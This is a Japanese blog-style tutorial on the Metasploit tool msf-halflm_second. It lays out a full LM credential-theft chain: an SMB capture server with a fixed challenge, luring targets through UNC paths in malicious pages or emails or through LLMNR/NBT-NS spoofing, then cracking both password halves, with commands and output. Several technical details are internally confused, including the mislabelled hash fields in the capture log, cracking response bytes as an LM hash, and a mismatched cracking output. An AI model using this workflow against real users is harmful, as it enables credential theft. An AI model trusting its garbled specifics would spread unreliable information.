msf-halflm_secondの使い方:古いWindows認証の弱点を突く

セキュリティ

Metasploit Frameworkの隠れた(?)ツールを徹底解説

Metasploit Frameworkは、ペネトレーションテストやセキュリティ研究において広く利用されている強力なプラットフォームです。数多くのエクスプロイトモジュールや補助ツールが含まれていますが、その中には特定の状況下で非常に役立つものの、あまり知られていないツールも存在します。今回解説するmsf-halflm_secondもその一つです。

この記事では、msf-halflm_secondがどのようなツールで、どのような場面で役立つのか、そして具体的な使い方について、初心者にも分かりやすく解説していきます。特に、古いWindowsシステムに残存する可能性のあるLAN Manager (LM) ハッシュの弱点に焦点を当て、その解析プロセスを詳しく見ていきましょう。🕵️‍♂️

1. msf-halflm_secondとは何か? 🤔

msf-halflm_secondは、Metasploit Frameworkに含まれるコマンドラインツールの一つです。その主な目的は、LAN Manager (LM) ハッシュの後半部分 (second half) を解析・クラックすることにあります。

1.1. なぜLMハッシュ? 古い認証方式の遺産

LMハッシュは、Windows NTが登場する前の古いWindows OS (LAN Manager, Windows for Workgroups, Windows 95/98など) で標準的に使用されていたパスワードハッシュ形式です。後方互換性のために、Windows NT以降のOS (Windows 2000, XP, Server 2003など) でも、設定によってはLMハッシュがNTハッシュ (より強力なハッシュ形式) と共に保存されていました。

しかし、LMハッシュには設計上の深刻な脆弱性が存在します:

  • 大文字小文字を区別しない: パスワードはハッシュ化される前に全て大文字に変換されます。これにより、パスワードの探索空間が大幅に縮小します。
  • パスワード長の制限と分割:
    • パスワードが14文字を超える場合、LMハッシュは生成されません (正確には、特定の値が格納され、認証には使えなくなります)。
    • パスワードが14文字以下の場合、まず14文字になるようにNULL文字 (ASCII 0) でパディングされます。
    • その後、前半7文字と後半7文字に分割され、それぞれ独立してDESベースの暗号化処理が行われます。

この「7文字ずつ分割して処理する」という点が最大の弱点です。どんなに長いパスワード (最大14文字) でも、実質的には最大7文字のパスワードを2回クラックするのと同じ難易度になってしまうのです。現代の計算能力をもってすれば、7文字のパスワード (大文字のみ+記号) の総当たり攻撃は比較的容易です。

⚠️ 注意: Windows Vista/Server 2008以降のOSでは、デフォルトでLMハッシュの保存が無効になっています。また、グループポリシーなどでLMハッシュの保存を無効化することが強く推奨されています。したがって、現代的な環境でLMハッシュに遭遇する機会は稀ですが、古いシステムが残存している環境や、互換性のために設定が変更されている場合には依然として問題となる可能性があります。

1.2. msf-halflm_secondの役割

msf-halflm_secondは、このLMハッシュの後半7文字部分の解析に特化したツールです。特に、MetasploitのSMBキャプチャモジュール (auxiliary/server/capture/smb) などで、固定されたチャレンジ値 (1122334455667788) を使用してLMチャレンジ/レスポンス認証を傍受した場合に真価を発揮します。

通常のLM認証では、サーバーはランダムな8バイトのチャレンジ値をクライアントに送信します。クライアントはパスワードのLMハッシュを鍵として、このチャレンジ値を暗号化し、レスポンスとしてサーバーに返します。サーバーは自身の持つLMハッシュで同じ計算を行い、結果が一致すれば認証成功となります。

しかし、auxiliary/server/capture/smbモジュールでチャレンジ値を固定 (1122334455667788) すると、同じパスワードを持つクライアントは常に同じレスポンスを返すことになります。この固定チャレンジに対するレスポンス(=暗号化されたLMハッシュ)と、パスワードの前半7文字が分かっていれば、msf-halflm_secondは後半7文字を効率的にブルートフォース(総当たり)攻撃で見つけ出すことができるのです。

2. 前提知識と準備 ⚙️

このツールを効果的に使うためには、いくつかの前提知識と準備が必要です。

2.1. 必要な知識

  • Metasploit Frameworkの基本操作: msfconsoleの起動、モジュールの検索 (search)、選択 (use)、オプション表示 (show options)、設定 (set)、実行 (run/ exploit) など、基本的なコマンド操作に慣れている必要があります。
  • LM/NTLM認証の概要: LMハッシュとNTハッシュの違い、チャレンジ/レスポンス認証の基本的な仕組みを理解していると、ツールの動作原理や応用方法がより深く理解できます。特にLMハッシュの7文字分割の仕組みは重要です。
  • パスワードハッシュとクラッキングの基礎: ハッシュとは何か、なぜクラックできるのか(ブルートフォース、辞書攻撃、レインボーテーブルなど)といった基本的な知識があると役立ちます。

2.2. 必要な環境

  • Metasploit Framework: 当然ながら、Metasploit Frameworkがインストールされている必要があります。Kali Linuxなどのペネトレーションテスト用ディストリビューションには標準で含まれていることが多いです。

最新版のMetasploit Frameworkを利用することをお勧めします。インストールやアップデートについては、公式サイトや各ディストリビューションのドキュメントを参照してください。

2.3. ツールの存在確認

msf-halflm_secondは、Metasploit Frameworkにバンドルされている独立したコマンドラインツールとして提供されています。通常のLinuxターミナルやコマンドプロンプトから直接実行できます。

まず、ツールが存在し、実行可能かを確認しましょう。ターミナルを開き、以下のコマンドを実行します。

msf-halflm_second -h

以下のようなヘルプメッセージが表示されれば、ツールは利用可能です。

Usage: msf-halflm_second <options>
OPTIONS:
   -h         Display this help information
   -n <hash>  The encrypted LM hash to crack
   -p <pass>  The decrypted LANMAN password for bytes 1-7
   -s <chal>  The server challenge (default value 1122334455667788)

(注: ヘルプメッセージの内容はバージョンによって若干異なる場合があります)

もしコマンドが見つからない (command not found) と表示される場合は、Metasploit Frameworkのインストールパスが環境変数PATHに含まれていない可能性があります。Metasploitのインストールディレクトリ内のtoolsディレクトリなどを探してみてください (例: /usr/share/metasploit-framework/tools/exploit/ など、環境によって異なります)。

また、msfconsole内からもauxiliary/analyze/halflm_secondというモジュールとして利用できるか確認してみましょう。ただし、私の調査した範囲では、このパスのモジュールは標準では存在しないか、古いバージョンでのみ提供されていた可能性があります。基本的にはコマンドラインツールとして利用するのが確実です。

msfconsole
msf6 > search halflm_second

もしモジュールが見つかれば、それを利用することも可能ですが、本記事では主にコマンドラインツールとしての使い方を解説します。

3. 基本的な使い方 (コマンドラインツール) 💻

msf-halflm_secondの基本的な使い方は非常にシンプルです。主に3つのオプションを指定して実行します。

3.1. 主要オプション

ヘルプメッセージ (msf-halflm_second -h) で確認したオプションについて詳しく見ていきましょう。

オプション 必須 説明
-h いいえ ヘルプメッセージを表示します。 msf-halflm_second -h
-n <hash> はい 解析対象となる、暗号化されたLMレスポンス全体 (LMハッシュではない点に注意) を16進数文字列で指定します。通常、SMBキャプチャなどで取得したチャレンジ/レスポンスの値です。LMハッシュ自体は32文字 (16バイト) ですが、キャプチャされるレスポンスは通常48文字 (24バイト) です。 -n daf07fe6c760f6e45d069e8eb8df08dcecf946cd083f94aa
-p <pass> はい 既に判明している、パスワードの前半7文字を指定します。必ず大文字で指定する必要があります (LMハッシュの仕様のため)。 -p PASSWORD
-s <chal> いいえ 認証時に使用されたサーバーチャレンジを16進数文字列で指定します。デフォルト値は1122334455667788です。Metasploitのauxiliary/server/capture/smbモジュールでチャレンジ値を固定した場合、通常はこのデフォルト値が使われます。異なるチャレンジ値で取得したレスポンスを解析する場合は、その値を指定する必要があります。 -s 1122334455667788 (デフォルト)

3.2. 実行例

仮に、以下の情報が得られているとします。

  • 取得したLMレスポンス: daf07fe6c760f6e45d069e8eb8df08dcecf946cd083f94aa
  • 使用されたチャレンジ: 1122334455667788 (デフォルト)
  • パスワードの前半7文字 (大文字): NEVER1Q

この場合、以下のコマンドを実行します。

msf-halflm_second -n daf07fe6c760f6e45d069e8eb8df08dcecf946cd083f94aa -p NEVER1Q -s 1122334455667788

あるいは、チャレンジがデフォルト値の場合は -s オプションを省略できます。

msf-halflm_second -n daf07fe6c760f6e45d069e8eb8df08dcecf946cd083f94aa -p NEVER1Q

3.3. 出力の解釈

解析に成功すると、以下のような出力が得られます (実際の出力は若干異なる場合があります)。

[*] Trying one character...
[*] Trying two characters...
[*] Trying three characters...
[*] Trying four characters...
[*] Trying five characters...
[*] Trying six characters...
[*] Trying seven characters...
[*] Cracked: NEVER1Q2

この例では、パスワードの後半部分が「2」であることが特定されました。したがって、完全なパスワードは「NEVER1Q2」(大文字小文字は不明) であると推測できます。

もし解析に失敗した場合 (指定した前半パスワードが間違っている、レスポンスやチャレンジの値が間違っている、など) は、最後まで探索しても結果が見つからず、”Cracked:” の行が表示されない可能性があります。

4. 連携シナリオ: SMBハッシュ取得からの解析 🔗

msf-halflm_secondが最も効果を発揮するのは、MetasploitのSMBキャプチャモジュールと連携するシナリオです。以下にその典型的な流れを示します。

ステップ1: SMBレスポンスのキャプチャ (固定チャレンジ使用)

まず、msfconsoleを起動し、auxiliary/server/capture/smbモジュールを使用します。ここで重要なのは、CHALLENGEオプションをmsf-halflm_secondのデフォルト値である1122334455667788に設定することです。また、取得したハッシュを保存するためにJOHNPWFILEオプションも設定しておくと便利です。

msf6 > use auxiliary/server/capture/smb
msf6 auxiliary(server/capture/smb) > show options

Module options (auxiliary/server/capture/smb):

   Name          Current Setting     Required  Description
   ----          ---------------     --------  -----------
   CAINPWFILE                        no        The local filename to store the hashes in Cain&Abel format
   CHALLENGE     Random              yes       The 8 byte challenge value to use (HEX)
   JOHNPWFILE                        no        The local filename to store the hashes in John the Ripper format
   LOGFILE                           no        The local filename to store the captured hashes
   SRVHOST       0.0.0.0             yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT       445                 yes       The local port to listen on.
   SSL           false               no        Negotiate SSL for incoming connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion    Auto                yes       Specify the version of SSL/TLS to be used (Auto, TLS1, TLS1.1, TLS1.2, SSL2, SSL3)
   SUPPRESS_NO_NTLMV2_RESPONSEtrue    yes       Suppress the log messages for clients that do not respond with NTLMv2

msf6 auxiliary(server/capture/smb) > set CHALLENGE 1122334455667788
CHALLENGE => 1122334455667788
msf6 auxiliary(server/capture/smb) > set JOHNPWFILE /tmp/captured_hashes.txt
JOHNPWFILE => /tmp/captured_hashes.txt
msf6 auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 0.
[*] SMB Capture Server started.

次に、ターゲットとなるクライアントに、Metasploitを実行しているマシン上のSMB共有 (存在しなくても良い) へアクセスさせます。これは、悪意のあるWebページにUNCパス (\\<MetasploitのIPアドレス>\share) を埋め込んだり、メールで送信したり、あるいはLLMNR/NBT-NSスプーフィング (auxiliary/spoof/llmnr, auxiliary/spoof/nbns) などと組み合わせることでトリガーできます。

クライアントが接続を試みると、認証情報がキャプチャされ、コンソールと指定したファイル (/tmp/captured_hashes.txt) に記録されます。

[*] SMB Captured - 2025-03-30 04:47:00 +0000 - <ターゲットIP>
[*] SMB Captured - <ターゲットIP>:139   Request Captured: <ターゲットユーザー名> Domain: <ターゲットドメイン> OS: Windows_Version LM: OS_LM_Version
[*] SMB Captured - <ターゲットIP>:139   NTLMv1 Response Captured: <ターゲットユーザー名> Domain: <ターゲットドメイン> OS: Windows_Version LM: OS_LM_Version
    LMHASH:daf07fe6c760f6e45d069e8eb8df08dc NTHASH:ecf946cd083f94aa0000000000000000
    LM_CLIENT_CHALLENGE:eeb88e9966554433
    HOST:<ターゲットIP> DOMAIN:<ターゲットドメイン> USER:<ターゲットユーザー名> TIME:2025-03-30T04:47:00.000Z LMHASH:daf07fe6c760f6e45d069e8eb8df08dc NTHASH:ecf946cd083f94aa0000000000000000 LM_CHALLENGE:eeb88e9966554433 NTLM_CHALLENGE:0101000000000000eeb88e996655443300000000000000000000000000000000

[*] SMB Captured - <ターゲットIP>:139   LM Response Captured: <ターゲットユーザー名> Domain: <ターゲットドメイン> OS: Windows_Version LM: OS_LM_Version
    LM_RESPONSE:daf07fe6c760f6e45d069e8eb8df08dcecf946cd083f94aa
    HOST:<ターゲットIP> DOMAIN:<ターゲットドメイン> USER:<ターゲットユーザー名> TIME:2025-03-30T04:47:00.000Z LM_RESPONSE:daf07fe6c760f6e45d069e8eb8df08dcecf946cd083f94aa

この出力から、以下の情報が得られました:

  • LMレスポンス (msf-halflm_second-nオプション用): daf07fe6c760f6e45d069e8eb8df08dcecf946cd083f94aa
  • LMハッシュ (前半・後半の解析用): daf07fe6c760f6e45d069e8eb8df08dc (レスポンスの前半32文字)
  • NTハッシュ: ecf946cd083f94aa0000000000000000
  • 使用されたチャレンジ (確認用): 1122334455667788 (キャプチャログにはクライアントチャレンジも含まれる場合があるため注意)

また、/tmp/captured_hashes.txt にはJohn the Ripper形式で記録されます。

<ターゲットユーザー名>:$NETLM$1122334455667788$daf07fe6c760f6e45d069e8eb8df08dcecf946cd083f94aa

ステップ2: パスワード前半の解析

次に、取得したLMハッシュ (daf07fe6c760f6e45d069e8eb8df08dc) の前半部分 (daf07fe6c760f6e4) を解析し、パスワードの前半7文字を特定します。

これには、John the RipperやHashcatなどの専用パスワードクラッキングツールを使用します。John the Ripperを使う場合の例を示します。

まず、LMハッシュの前半部分だけをファイルに保存します。

echo "user:daf07fe6c760f6e4" > /tmp/lm_first_half.txt

次に、John the Ripperを実行します (辞書ファイル password.lst を使用)。

john --format=lm --wordlist=password.lst /tmp/lm_first_half.txt

クラックに成功すると、パスワードの前半部分 (例: NEVER1Q) が表示されます。

あるいは、Metasploit内のクラッキングモジュール (auxiliary/analyze/crack_windows など) を利用することもできますが、John the RipperやHashcatを直接使う方が柔軟性が高い場合が多いです。

ステップ3: msf-halflm_secondによる後半解析

パスワードの前半7文字 (NEVER1Q) が判明したら、いよいよmsf-halflm_secondの出番です。ステップ1で取得したLMレスポンス (-n) と、ステップ2で判明した前半パスワード (-p) を指定して実行します。チャレンジはデフォルト値 (1122334455667788) を使用したため、-s オプションは省略可能です。

msf-halflm_second -n daf07fe6c760f6e45d069e8eb8df08dcecf946cd083f94aa -p NEVER1Q

これにより、パスワードの後半部分 (例: 2) が特定されます。

ステップ4: 結果の統合

最後に、特定された前半部分 (NEVER1Q) と後半部分 (2) を結合し、完全なパスワード (NEVER1Q2) を復元します。ただし、これはLMハッシュから復元されたものであり、元々のパスワードの大文字小文字は反映されていません。実際のパスワードは「Never1q2」や「never1Q2」などである可能性もあります。NTハッシュ (ecf946cd083f94aa0000000000000000) のクラックも試みることで、大文字小文字を含めて特定できる可能性があります。

5. 注意点と限界 ⚠️

msf-halflm_secondは特定の条件下で有効ですが、万能ではありません。以下の点に注意してください。

  • LMハッシュの利用状況: 現代のWindows環境 (Vista/Server 2008以降) では、LMハッシュはデフォルトで無効です。グループポリシーで無効化されている場合も多く、このツールが活躍する場面は限定的です。古いシステムや特殊な設定が残る環境がターゲットとなります。
  • NTLMv1/v2への非対応: このツールはLMハッシュ (のレスポンス) 専用です。NTLMv1や、より安全なNTLMv2、Kerberos認証の解析には使用できません。
  • チャレンジ値の重要性: msf-halflm_secondは、特定のチャレンジ値 (デフォルト: 1122334455667788) に対するレスポンスを解析するように設計されています。異なるチャレンジ値で取得したレスポンスを解析する場合は、-s オプションで正しいチャレンジ値を指定する必要があります。ランダムなチャレンジ値で取得したレスポンスの場合、このツール単体での解析は困難です (他のツールや手法が必要になります)。
  • パスワード前半への依存: このツールは、パスワードの前半7文字が既知であることを前提としています。前半部分が特定できなければ、後半部分の解析は開始できません。
  • 処理速度: パスワード後半の探索空間は7文字分ですが、それでも対象文字セットによっては時間がかかる場合があります。

6. まとめ ✨

msf-halflm_secondは、Metasploit Frameworkに含まれるニッチながらも興味深いツールです。古いWindows認証方式であるLMハッシュの脆弱性を利用し、特に固定チャレンジ値でキャプチャされたLMレスポンスの後半部分を解析するのに役立ちます。

現代のセキュリティ環境では活躍の場は限られますが、レガシーシステムが残存する環境でのペネトレーションテストや、認証プロトコルの歴史と脆弱性を学ぶ上で価値のあるツールと言えるでしょう。SMBキャプチャモジュールや他のパスワードクラッキングツールとの連携により、限定的ながらもパスワード復元の手がかりを得られる可能性があります。

💡 ポイントのおさらい:

  • LMハッシュの後半7文字の解析に特化。
  • 固定チャレンジ (1122334455667788) で取得したLMレスポンスに有効。
  • パスワードの前半7文字 (大文字) が既知である必要がある。
  • コマンドラインツールとして利用するのが基本。
  • 現代では利用場面は限定的だが、教育的価値やレガシー環境での利用可能性あり。

7. 参考情報・さらなる学習のために 📚

🚨 重要: 倫理的な利用について

この記事で紹介したmsf-halflm_secondを含むMetasploit Frameworkのツールは、セキュリティテストや教育目的のために設計されています。これらのツールを許可なく他者のシステムやネットワークに対して使用することは、法律で固く禁じられており、重大な犯罪となります。

必ず、自身が所有・管理するシステム、または明確な許可を得たテスト環境でのみ使用してください。技術的な知識は、常に倫理観と責任感を持って活用することが求められます。

コメント

タイトルとURLをコピーしました